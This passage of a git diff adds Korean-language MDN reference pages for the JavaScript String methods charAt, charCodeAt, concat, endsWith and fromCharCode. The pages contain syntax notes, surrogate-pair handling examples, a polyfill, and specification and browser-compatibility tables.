+
+<p>{{Compat("javascript.builtins.SharedArrayBuffer.prototype")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/charat/index.html b/files/ko/web/javascript/reference/global_objects/string/charat/index.html
new file mode 100644
index 0000000000..a5a68c03be
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/charat/index.html
@@ -0,0 +1,260 @@
+---
+title: String.prototype.charAt()
+slug: Web/JavaScript/Reference/Global_Objects/String/charAt
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt
+---
+<div>{{JSRef}}</div>
+
+<p><strong>charAt() </strong>함수는 문자열에서 특정 인덱스에 위치하는  유니코드 단일문자를 반환합니다. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-charat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.charAt(<var>index</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<ul>
+ <li>0과 문자열의 길이 - 1 사이의 정수값. </li>
+ <li>인자를 생략하면 기본값으로 0를 설정되고 첫 문자를 반환한다. </li>
+</ul>
+
+<dl>
+ <dt><code>index</code></dt>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<ul>
+ <li>지정된 인덱스에 해당하는 유니코드 단일문자를 반환한다.</li>
+ <li>만약 인덱스가 문자열 길이보다 큰 경우 빈 문자열 (예) " " 을 반환한다.  </li>
+</ul>
+
+<h2 id="설명">설명</h2>
+
+<p>문자열 내의 문자는 왼쪽에서 오른쪽으로 순번(인덱스)이 매겨집니다. 첫 번째 문자의 순번은 0, 그리고 <code>stringName</code> 이라는 이름을 가진 문자열의 마지막 문자 순번은 <code>stringName.length - 1 </code>입니다. <code>index</code>가 문자열 길이를 벗어나면 빈 문자열을 반환하게 됩니다.</p>
+
+<p><code>index</code>를 제공하지 않으면 기본값은 0입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="문자열_내의_다른_위치에_있는_문자들을_출력하기">문자열 내의 다른 위치에 있는 문자들을 출력하기</h3>
+
+<p>아래 예제는 문자열 <code>"Brave new world"</code>의 다른 위치에 있는 문자들을 출력합니다.</p>
+
+<pre class="brush: js">var anyString = 'Brave new world';
+console.log("The character at index 0   is '" + anyString.charAt()   + "'");
+// No index was provided, used 0 as default
+
+console.log("The character at index 0   is '" + anyString.charAt(0)   + "'");
+console.log("The character at index 1   is '" + anyString.charAt(1)   + "'");
+console.log("The character at index 2   is '" + anyString.charAt(2)   + "'");
+console.log("The character at index 3   is '" + anyString.charAt(3)   + "'");
+console.log("The character at index 4   is '" + anyString.charAt(4)   + "'");
+console.log("The character at index 999 is '" + anyString.charAt(999) + "'");
+</pre>
+
+<p>프로그램의 실행 결과는 아래와 같습니다.</p>
+
+<pre class="brush: js">The character at index 0   is 'B'
+The character at index 1   is 'r'
+The character at index 2   is 'a'
+The character at index 3   is 'v'
+The character at index 4   is 'e'
+The character at index 999 is ''
+</pre>
+
+<h3 id="문자열_내의_모든_문자_얻기">문자열 내의 모든 문자 얻기</h3>
+
+<p>아래 예제는 문자열 전체를 순회하며 각 문자가 완전한지 확인하는 프로그램입니다. 심지어 <a href="https://ko.wikipedia.org/wiki/%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C_%ED%8F%89%EB%A9%B4">기본 다국어 평면(Basic Multilingual Plane)</a>에 포함되지 않은 문자들이 포함되어 있다고 하더라도 잘 동작합니다. </p>
+
+<pre class="brush: js">var str = 'A \uD87E\uDC04 Z'; // 기본 다국어 평면에 포함되지 않는 문자를 사용합니다.
+for (var i = 0, chr; i &lt; str.length; i++) {
+  if ((chr = getWholeChar(str, i)) === false) {
+    continue;
+  }
+  // Adapt this line at the top of each loop, passing in the whole string and
+  // the current iteration and returning a variable to represent the
+  // individual character
+
+  console.log(chr);
+}
+
+function getWholeChar(str, i) {
+  var code = str.charCodeAt(i);
+
+  if (Number.isNaN(code)) {
+    return ''; // Position not found
+  }
+  if (code &lt; 0xD800 || code &gt; 0xDFFF) {
+    return str.charAt(i);
+  }
+
+  // High surrogate (could change last hex to 0xDB7F to treat high private
+  // surrogates as single characters)
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    if (str.length &lt;= (i + 1)) {
+      throw 'High surrogate without following low surrogate';
+    }
+    var next = str.charCodeAt(i + 1);
+      if (0xDC00 &gt; next || next &gt; 0xDFFF) {
+        throw 'High surrogate without following low surrogate';
+      }
+      return str.charAt(i) + str.charAt(i + 1);
+  }
+  // Low surrogate (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF)
+  if (i === 0) {
+    throw 'Low surrogate without preceding high surrogate';
+  }
+  var prev = str.charCodeAt(i - 1);
+
+  // (could change last hex to 0xDB7F to treat high private
+  // surrogates as single characters)
+  if (0xD800 &gt; prev || prev &gt; 0xDBFF) {
+    throw 'Low surrogate without preceding high surrogate';
+  }
+  // We can pass over low surrogates now as the second component
+  // in a pair which we have already processed
+  return false;
+}
+</pre>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">비구조화 할당</a>을 허용하는 ECMAScript 2016 환경에서는 아래 예제 코드가 더 간결하고, 문자가 <a href="https://ko.wikipedia.org/wiki/UTF-16">서러게이트 페어</a>가 되는 것을 허용할 때는 증가해야 하는 변수를 자동적으로 증가하기에 위의 코드보다 다소 더 유연합니다.</p>
+
+<pre class="brush: js">var str = 'A\uD87E\uDC04Z'; // We could also use a non-BMP character directly
+for (var i = 0, chr; i &lt; str.length; i++) {
+  [chr, i] = getWholeCharAndI(str, i);
+  // Adapt this line at the top of each loop, passing in the whole string and
+  // the current iteration and returning an array with the individual character
+  // and 'i' value (only changed if a surrogate pair)
+
+  console.log(chr);
+}
+
+function getWholeCharAndI(str, i) {
+  var code = str.charCodeAt(i);
+
+  if (Number.isNaN(code)) {
+    return ''; // Position not found
+  }
+  if (code &lt; 0xD800 || code &gt; 0xDFFF) {
+    return [str.charAt(i), i]; // Normal character, keeping 'i' the same
+  }
+
+  // High surrogate (could change last hex to 0xDB7F to treat high private
+  // surrogates as single characters)
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    if (str.length &lt;= (i + 1)) {
+      throw 'High surrogate without following low surrogate';
+    }
+    var next = str.charCodeAt(i + 1);
+      if (0xDC00 &gt; next || next &gt; 0xDFFF) {
+        throw 'High surrogate without following low surrogate';
+      }
+      return [str.charAt(i) + str.charAt(i + 1), i + 1];
+  }
+  // Low surrogate (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF)
+  if (i === 0) {
+    throw 'Low surrogate without preceding high surrogate';
+  }
+  var prev = str.charCodeAt(i - 1);
+
+  // (could change last hex to 0xDB7F to treat high private surrogates
+  // as single characters)
+  if (0xD800 &gt; prev || prev &gt; 0xDBFF) {
+    throw 'Low surrogate without preceding high surrogate';
+  }
+  // Return the next character instead (and increment)
+  return [str.charAt(i + 1), i + 1];
+}
+</pre>
+
+<h3 id="기본다국어평면(Basic-Multilingual-Plane)이_아닌_문자들을_지원하도록_charAt()_수정하기">기본다국어평면(Basic-Multilingual-Plane)이 아닌 문자들을 지원하도록 <code>charAt()</code> 수정하기</h3>
+
+<p>어떠한 non-BMP 문자들이 나타났는지 호출자가 알 필요가 없기 때문에 non-BMP 문자들을 지원하도록 하는데는 앞의 예제들이 더 자주 사용되지만, 인덱스로 문자를 선택하는데 있어서 문자열 내에 서로게이트 페어들이 하나의 문자들로 처리되길 원한다면, 아래 예제 코드를 사용하면 됩니다.</p>
+
+<pre class="brush: js">function fixedCharAt(str, idx) {
+  var ret = '';
+  str += '';
+  var end = str.length;
+
+  var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+  while ((surrogatePairs.exec(str)) != null) {
+    var li = surrogatePairs.lastIndex;
+    if (li - 2 &lt; idx) {
+      idx++;
+    } else {
+      break;
+    }
+  }
+
+  if (idx &gt;= end || idx &lt; 0) {
+    return '';
+  }
+
+  ret += str.charAt(idx);
+
+  if (/[\uD800-\uDBFF]/.test(ret) &amp;&amp; /[\uDC00-\uDFFF]/.test(str.charAt(idx + 1))) {
+    // Go one further, since one of the "characters" is part of a surrogate pair
+    ret += str.charAt(idx + 1);
+  }
+  return ret;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.4', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.charat', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.charat', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.String.charAt")}}</p>
+
+<h2 id="관련문서">관련문서</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li><a href="https://mathiasbynens.be/notes/javascript-unicode">JavaScript has a Unicode problem – Mathias Bynens</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/charcodeat/index.html b/files/ko/web/javascript/reference/global_objects/string/charcodeat/index.html
new file mode 100644
index 0000000000..9777130911
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/charcodeat/index.html
@@ -0,0 +1,169 @@
+---
+title: String.prototype.charCodeAt()
+slug: Web/JavaScript/Reference/Global_Objects/String/charCodeAt
+tags:
+  - JavaScript
+  - Method
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>charCodeAt()</code></strong> 메서드는 주어진 인덱스에 대한 UTF-16 코드를 나타내는 0부터 65535 사이의 정수를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-charcodeat.html")}}</div>
+
+
+
+<p>전체 코드 값을 원하신다면 {{jsxref("String.prototype.codePointAt()")}}을 사용하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.charCodeAt(<var>index</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>0 이상이고 문자열의 길이보다 작은 정수. 숫자가 아니라면 0을 기본값으로 사용함. </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 인덱스 대한 문자에 대한 UTF-16 코드를 나타내는 숫자<br>
+ 범위 밖으로 넘어갔을 경우 {{jsxref("Global_Objects/NaN", "NaN")}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p>Unicode code points range from 0 to 1114111 (0x10FFFF). The first 128 Unicode code points are a direct match of the ASCII character encoding. For information on Unicode, see the <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">JavaScript Guide</a>.</p>
+
+<p>Note that <code>charCodeAt()</code> will always return a value that is less than 65536. This is because the higher code points are represented by a pair of (lower valued) "surrogate" pseudo-characters which are used to comprise the real character. Because of this, in order to examine or reproduce the full character for individual characters of value 65536 and above, for such characters, it is necessary to retrieve not only <code>charCodeAt(i)</code>, but also <code>charCodeAt(i+1)</code> (as if examining/reproducing a string with two letters), or to use codePointAt(i) instead. See example 2 and 3 below.</p>
+
+<p><code>charCodeAt()</code> returns {{jsxref("Global_Objects/NaN", "NaN")}} if the given index is less than 0 or is equal to or greater than the length of the string.</p>
+
+<p>Backward compatibilty: In historic versions (like JavaScript 1.2) the <code>charCodeAt()</code> method returns a number indicating the ISO-Latin-1 codeset value of the character at the given index. The ISO-Latin-1 codeset ranges from 0 to 255. The first 0 to 127 are a direct match of the ASCII character set.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Using_charCodeAt()">Using <code>charCodeAt()</code></h3>
+
+<p>The following example returns 65, the Unicode value for A.</p>
+
+<pre class="brush: js">'ABC'.charCodeAt(0); // returns 65
+</pre>
+
+<h3 id="Fixing_charCodeAt()_to_handle_non-Basic-Multilingual-Plane_characters_if_their_presence_earlier_in_the_string_is_unknown">Fixing <code>charCodeAt()</code> to handle non-Basic-Multilingual-Plane characters if their presence earlier in the string is unknown</h3>
+
+<p>This version might be used in for loops and the like when it is unknown whether non-BMP characters exist before the specified index position.</p>
+
+<pre class="brush: js">function fixedCharCodeAt(str, idx) {
+  // ex. fixedCharCodeAt('\uD800\uDC00', 0); // 65536
+  // ex. fixedCharCodeAt('\uD800\uDC00', 1); // false
+  idx = idx || 0;
+  var code = str.charCodeAt(idx);
+  var hi, low;
+
+  // High surrogate (could change last hex to 0xDB7F to treat high
+  // private surrogates as single characters)
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    hi = code;
+    low = str.charCodeAt(idx + 1);
+    if (isNaN(low)) {
+      throw 'High surrogate not followed by low surrogate in fixedCharCodeAt()';
+    }
+    return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
+  }
+  if (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF) { // Low surrogate
+    // We return false to allow loops to skip this iteration since should have
+    // already handled high surrogate above in the previous iteration
+    return false;
+    /*hi = str.charCodeAt(idx - 1);
+    low = code;
+    return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;*/
+  }
+  return code;
+}
+</pre>
+
+<h3 id="Fixing_charCodeAt()_to_handle_non-Basic-Multilingual-Plane_characters_if_their_presence_earlier_in_the_string_is_known">Fixing <code>charCodeAt()</code> to handle non-Basic-Multilingual-Plane characters if their presence earlier in the string is known</h3>
+
+<pre class="brush: js">function knownCharCodeAt(str, idx) {
+  str += '';
+  var code,
+      end = str.length;
+
+  var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+  while ((surrogatePairs.exec(str)) != null) {
+    var li = surrogatePairs.lastIndex;
+    if (li - 2 &lt; idx) {
+      idx++;
+    }
+    else {
+      break;
+    }
+  }
+
+  if (idx &gt;= end || idx &lt; 0) {
+    return NaN;
+  }
+
+  code = str.charCodeAt(idx);
+
+  var hi, low;
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    hi = code;
+    low = str.charCodeAt(idx + 1);
+    // Go one further, since one of the "characters" is part of a surrogate pair
+    return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
+  }
+  return code;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.5', 'String.prototype.charCodeAt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.String.charCodeAt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/concat/index.html b/files/ko/web/javascript/reference/global_objects/string/concat/index.html
new file mode 100644
index 0000000000..1d5b4f2cd6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/concat/index.html
@@ -0,0 +1,105 @@
+---
+title: String.prototype.concat()
+slug: Web/JavaScript/Reference/Global_Objects/String/concat
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/concat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>concat()</code></strong> 메서드는 매개변수로 전달된 모든 문자열을 호출 문자열에 붙인 새로운 문자열을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-concat.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.concat(<var>string2</var>, <var>string3</var>[, ..., <var>stringN</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>string2...string<em>N</em></code></dt>
+ <dd>합칠 문자열.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>주어진 문자열을 모두 붙인 새로운 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>concat()</code> 함수는 호출 문자열에 문자열 인수를 이어 붙인 결과를 반환합니다. 원본 문자열과 결과 문자열의 변형은 서로에게 영향을 미치지 않습니다. 인수가 문자열이 아니면 계산 전에 문자열로 변환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="concat_사용하기"><code>concat()</code> 사용하기</h3>
+
+<p>아래 예제에서는 문자열을 결합하여 새로운 문자열을 만듭니다.</p>
+
+<pre><code>var hello = 'Hello, ';
+console.log(hello.concat('Kevin', '. Have a nice day.'));
+/* Hello, Kevin. Have a nice day. */
+
+var greetList = ['Hello', ' ', 'Venkat', '!'];
+"".concat(...greetList); // "Hello Venkat!"
+
+"".concat({}); // [object Object]
+"".concat([]); // ""
+"".concat(null); // "null"
+"".concat(true); // "true"
+"".concat(4, 5); // "45"</code></pre>
+
+<h2 id="성능">성능</h2>
+
+<p><code>concat()</code> 메서드보다 {{jsxref("Operators/Assignment_Operators", "할당 연산자", "", 1)}} (<code>+</code>, <code>+=</code>)를 사용하는게 더 좋습니다. <a href="https://web.archive.org/web/20170404182053/https://jsperf.com/concat-vs-plus-vs-join">성능 테스트</a> 결과에 따르면 할당 연산자의 속도가 몇 배 빠릅니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.6', 'String.prototype.concat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.concat', 'String.prototype.concat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.concat', 'String.prototype.concat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.String.concat")}}</p>
+
+<div></div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="관련문서">관련문서</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Operators/Assignment_Operators", "Assignment operators", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/endswith/index.html b/files/ko/web/javascript/reference/global_objects/string/endswith/index.html
new file mode 100644
index 0000000000..d78645e9f3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/endswith/index.html
@@ -0,0 +1,142 @@
+---
+title: String.prototype.endsWith()
+slug: Web/JavaScript/Reference/Global_Objects/String/endsWith
+translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>endsWith()</code></strong> 메서드를 사용하여 어떤 문자열에서 특정 문자열로 끝나는지를 확인할 수 있으며, 그 결과를 <code>true</code> 혹은 <code>false</code>로 반환한다. </p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>str</var>.endsWith(<var>searchString</var>[, <var>length</var>])</pre>
+
+<h3 id="파라미터들">파라미터들</h3>
+
+<dl>
+ <dt><code>searchString</code></dt>
+ <dd>이 문자열의 끝이 특정 문자열로 끝나는지를 찾기 원하는 문자열입니다.</dd>
+ <dt><code>length</code></dt>
+ <dd>옵션입니다. 찾고자 하는 문자열의 길이값이며, 기본값은 문자열 전체 길이입니다. 문자열의 길이값은 문자열 전체 길이 안에서만 존재하여야 합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>문자열의 끝이 주어진 문자열로 끝나면 <strong><code>true</code></strong>, 그렇지 않다면 <strong><code>false</code></strong></p>
+
+<h2 id="설명">설명</h2>
+
+<p>여러분은 이 메서드를 사용하여 어떤 문자열이 특정 문자열로 끝나는지를 확인할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="endsWith_사용하기"><code>endsWith()</code> 사용하기</h3>
+
+<pre class="brush: js">var str = 'To be, or not to be, that is the question.';
+
+console.log(str.endsWith('question.')); // true
+console.log(str.endsWith('to be'));     // false
+console.log(str.endsWith('to be', 19)); // true
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>이 메서드는 ECMAScript 6 규격에 포함되었습니다만 아직까지는 모든 JavaScrpt가 이 기능을 지원하고 있지는 않습니다. 하지만 여러분은 <code>String.prototype.endsWith()</code> 메서드를 다음과 같이 쉽게 <a href="https://en.wikipedia.org/wiki/Polyfill">polyfill</a> 할 수 있습니다:</p>
+
+<pre class="brush: js">if (!String.prototype.endsWith) {
+  String.prototype.endsWith = function(searchString, position) {
+      var subjectString = this.toString();
+      if (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position &gt; subjectString.length) {
+        position = subjectString.length;
+      }
+      position -= searchString.length;
+      var lastIndex = subjectString.indexOf(searchString, position);
+      return lastIndex !== -1 &amp;&amp; lastIndex === position;
+  };
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("41")}}</td>
+   <td>{{CompatGeckoDesktop("17")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari("9")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatGeckoMobile("17")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="관련문서">관련문서</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/fromcharcode/index.html b/files/ko/web/javascript/reference/global_objects/string/fromcharcode/index.html
new file mode 100644
index 0000000000..98b1627666
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/fromcharcode/index.html
@@ -0,0 +1,101 @@
+---
+title: String.fromCharCode()
+slug: Web/JavaScript/Reference/Global_Objects/String/fromCharCode
+tags:
+  - JavaScript
+  - Method
+  - Reference
+  - String
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>String.fromCharCode()</code></strong> 메서드는 UTF-16 코드 유닛의 시퀀스로부터 문자열을 생성해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-fromcharcode.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>String.fromCharCode(<var>num1</var>[, ...[, <var>numN</var>]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>num1, ..., num<em>N</em></code></dt>
+ <dd>UTF-16 코드 유닛인 숫자 뭉치. 가능한 값의 범위는 0부터 65535(0xFFFF)까지입니다. 0xFFFF를 초과하는 값은 잘립니다. 유효성 검사는 하지 않습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 UTF-16 코드 유닛 N개로 이루어진 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>이 메서드는 {{jsxref("String")}} 객체가 아닌 문자열을 반환합니다.</p>
+
+<p><code>fromCharCode()</code>는 {{jsxref("String")}}의 정적 메서드이기 때문에 <code>String.fromCharCode()</code>로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="fromCharCode()_사용하기"><code>fromCharCode()</code> 사용하기</h3>
+
+<p>다음 예제는 문자열 <code>"ABC"</code>를 반환합니다..</p>
+
+<pre class="brush: js">String.fromCharCode(65, 66, 67);  // "ABC"
+String.fromCharCode(0x2014)       // "—"
+String.fromCharCode(0x12014)      // 숫자 '1'은 무시해서 "—"
+</pre>
+
+<h2 id="더_큰_값과_사용하기">더 큰 값과 사용하기</h2>
+
+<p>초기 JavaScript 표준화 과정에서 예상했던 것처럼, 대부분의 흔한 유니코드 값을 16비트 숫자로 표현할 수 있고, <code>fromCharCode()</code>가 많은 흔한 값에서 하나의 문자를 반환할 수 있지만, <strong>모든</strong> 유효한 유니코드 값(최대 21비트)을 처리하려면 <code>fromCharCode()</code>만으로는 부족합니다. 높은 코드 포인트의 문자는 써로게이트<sup>surrogate</sup> 값 두 개를 합쳐 하나의 문자를 표현하므로,{{jsxref("String.fromCodePoint()")}}(ES2015 표준) 메서드는 그러한 쌍을 높은 값의 문자로 변환할 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.3.2', 'StringfromCharCode')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.fromcharcodes', 'String.fromCharCode')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.fromcharcodes', 'String.fromCharCode')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
